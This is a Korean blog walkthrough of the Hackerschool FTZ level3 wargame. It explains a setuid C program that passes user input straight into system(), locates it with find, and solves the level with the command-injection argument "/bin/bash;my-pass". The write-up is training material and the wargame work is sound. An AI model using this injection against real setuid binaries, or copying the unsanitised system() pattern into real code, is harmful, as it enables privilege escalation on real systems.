티스토리 뷰

Pwnable/FTZ level

[hackerschool FTZ] level3

PAPICO 2016. 11. 13. 01:49

level3를 풀어보겠다.


[level3@ftz level3]$ 


level3에 접속하였으니 ls -al 을 쳐서 파일과 디렉토리를 확인을 하면


[level3@ftz level3]$ ls -al

total 80

drwxr-xr-x    4 root     level3       4096 May  7  2002 .

drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..

-rw-------    1 root     root            1 Jan 15  2010 .bash_history

-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout

-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile

-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc

-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc

-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs

-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc

-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc

-rw-r--r--    1 root     root          543 Nov 26  2000 hint

-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc

-rw-r--r--    1 root     root          367 Sep 24  2000 .profile

drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp

-rw-r--r--    1 root     root            1 May  7  2002 .viminfo

-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc

-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults


hint 라는 파일이 있다.

hint 라는 파일을 읽어 보면 


[level3@ftz level3]$ cat hint



다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


그 전 레벨과는 다르게 정말 길다.

strcpy, strcat, system 함수가 보인다. system() 함수는 시스템에 명령을 실행할 때 사용하는 함수다. c언어, 자바, 파이썬, PHP, 펄 등 여러가지 프로그래밍언어에서 system() 함수를 지원한다.

우선 이 문제를 풀기 위해서는 nslookup과 dig에 대해 알아야 한다.

nslookup은 도메인 서버의 IP 주소를 확인하는 프로그램이다. nslookup <IP를 알고싶은 도메인>으로 쓴다. dig는 유닉스 계열에 탑재되어 있는 프로그램으로 nslookup과 동일한 역할을 수행한다.

위의 c파일을 분석해보자.

1. strcpy를 이용해 cmd 배열에 "dig @" 문자열을 넣는다.

2 ."dig @" 문자열 뒤에  autodig 명령어 다음에 입력된 문자열을 붙인다.

3. "dig @입력받은 문자열" 뒤에 " version.bind chaos txt"라는 명령어 문자열이 조합된다. 


그럼 힌트에서 제시된 autodig 파일을 찾아보자.


[level3@ftz level3]$ find / -perm +6000 -user level4 2>/dev/null

/bin/autodig

 

/bin/autodig를 실행시켜보면 


[level3@ftz level3]$ /bin/autodig

Auto Digger Version 0.9

Usage : /bin/autodig host


argv 인자를 1개 받지 않을때의 출력값이 나온다.

more hint 부분에 힌트 두가지를 살펴보면 

- 동시에 여러 명령어를 사용하려면? " ; "을 사용하여 여러 명령어를 전달하는 것이고

- 문자열 형태로 명령어를 전달하려면? 큰따옴표를 이용해 문자열 형태로 명령어를 전달한다.

setuid를이용해 bin/bash 디렉토리로 들어간 후, 비밀번호를 얻어낼 my-pass 명령을 실행하면 된다.

"/bin/bash;my-pass" 이렇게 입력하면 된다는 것이다.


[level3@ftz level3]$ /bin/autodig "/bin/bash;my-pass"

dig: Couldn't find server '/bin/bash': Name or service not known


Level4 Password is "suck my brain".



level4의 비밀번호를 얻었다!

노트북을 포맷시키는라 올리지 못하였다. 그리고 이번 문제를 풀면서 여러 자료를 뒤적거려도 보고 인터넷을 돌아다니면서 자료를 모아보았는데 아직  너무 어려운거 같다. 지금부터 ftz 문제 풀이는 단계를 전부 이해한 후 천천히 텀을 가지며 올리고 C 자료를 올려보겠다.

'Pwnable > FTZ level' 카테고리의 다른 글

[hackerschool FTZ] level6  (0) 2016.12.27
[hackerschool FTZ] level5  (0) 2016.12.27
[hackerschool FTZ] level4  (0) 2016.12.26
[hackerschool FTZ] level2  (0) 2016.11.10
[hackerschool FTZ] level1  (0) 2016.11.09
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함